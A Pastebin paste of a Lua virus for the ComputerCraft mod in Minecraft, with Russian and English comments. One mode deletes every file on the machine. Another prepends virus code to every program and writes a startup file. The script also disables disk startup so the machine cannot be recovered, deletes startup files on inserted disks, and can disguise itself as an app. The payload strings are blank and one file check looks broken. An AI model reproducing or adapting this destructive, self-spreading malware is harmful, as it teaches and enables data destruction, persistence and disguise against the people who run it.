Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --BY PIT_ANONIM
- --runmode ОПРЕДЕЛЯЕТ РЕЖИМ ЗАПУСКА
- --РЕЖИМ 1 УДАЛЯЕТ ВСЕ ФАЙЛЫ С ЖЕСТКОГО ДИСКА ПК
- --РЕЖИМ 2 ДОБАВЛЯЕТ ОПРЕДЕЛЕННЫЙ КОД ВО ВСЕ ПРОГРАММЫ НА ЖЕСТКОМ ДИСКЕ
- --runmode SPECIFIES THE STARTUP MODE
- --MODE 1 REMOVES ALL FILES FROM THE HARD DISK OF THE PC
- --MODE 2 ADDS SOME CODE TO ALL THE PROGRAMS ON THE HARD DISK
- runmode = 2
- -----------------------
- --ПЕРЕМЕННЫЕ РЕЖИМА 2--
- -----------------------
- --------------------
- --VARIABLES MODE 2--
- --------------------
- --viruscode ОПРЕДЕЛЯЕТ КОД, КОТОРЫЙ БУДЕТ ЗАПИСАН В ФАЙЛАХ
- --viruscode DEFINES THE CODE THAT WILL BE WRITTEN TO THE FILE
- local viruscode =[[
- ]]
- --firststring ОБЯЗАН БЫТЬ РАВНЫМ ПЕРВОЙ СТРОКЕ viruscode
- --firststring MUST BE EQUAL TO THE FIRST LINE viruscode
- local firststring = 'print("You do not have permission to run this program")'
- --startupcode ОПРЕДЕЛЯЕТ КОД, КОТОРЫЙ БУДЕТ ЗАПИСАН В startup
- --startupcode DETERMINES THE CODE TO BE WRITTEN IN THE startup
- local startupcode = [==[
- ]==]
- --virusname ОПРЕДЕЛЯЕТ НАЗВАНИЕ ЭТОГО ФАЙЛА
- --virusname DEFINES THE NAME OF THIS FILE
- local virusname = 'Virus'
- --ПЕРЕМЕННЫЕ ПУТИ ФАЙЛА
- --VARIABLES FILE PATH
- dir = ""
- local FileList = fs.list(dir)
- --РЕЖИМ МАСКИ. МАСКИРОВКА ВИРУСА ПОД ПРИЛОЖЕНИЕ.
- - MASK MODE. MASKING OF THE VIRUS FOR THE APP.
- local maskmode = 0
- --ПРОГРАММА-МАСКА
- --THE MASK-PROGRAM
- local mask =[[
- ]]
- --------------------
- --------------------
- --ОСНОВНАЯ ФУНКЦИЯ--
- --------------------
- -----------------
- --MAIN FUNCTION--
- -----------------
- settings.set("shell.allow_disk_startup", false)
- settings.save(".settings")
- local eventone = os.pullEvent()
- local function mainfunc()
- if runmode == 1 then
- for _,file in ipairs (FileList) do
- if file ~= nil and file ~= "rom" then
- fs.delete(file)
- end
- end
- elseif runmode == 2 then
- for _,file in ipairs (FileList) do
- if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
- if file ~= virusname then
- local nonvirusfile = fs.open(dir ..file, "r")
- local pr = nonvirusfile.readLine()
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- if pr ~= firststring and file ~= virusname and file ~= "startup" then
- local virusfile = fs.open(dir ..file, "w")
- virusfile.writeLine(viruscode)
- virusfile.writeLine(text)
- virusfile.close()
- end
- elseif file == virusname then
- local nonvirusfile = fs.open(dir ..file, "r")
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- local virusfile = fs.open("startup", "w")
- virusfile.writeLine(startupcode)
- virusfile.close()
- end
- end
- sleep(0)
- end
- end
- end
- function eee()
- while true do
- while side ~= 1 do
- sleep(0)
- if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
- side = 1
- else
- side = nil
- end
- end
- if side == 1 then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- end
- sleep(0)
- end
- end
- parallel.waitForAny(mainfunc, eee)
- if maskmode == 1 then
- assert(loadstring(mask))()
- end
Advertisement
Add Comment
Please, Sign In to add comment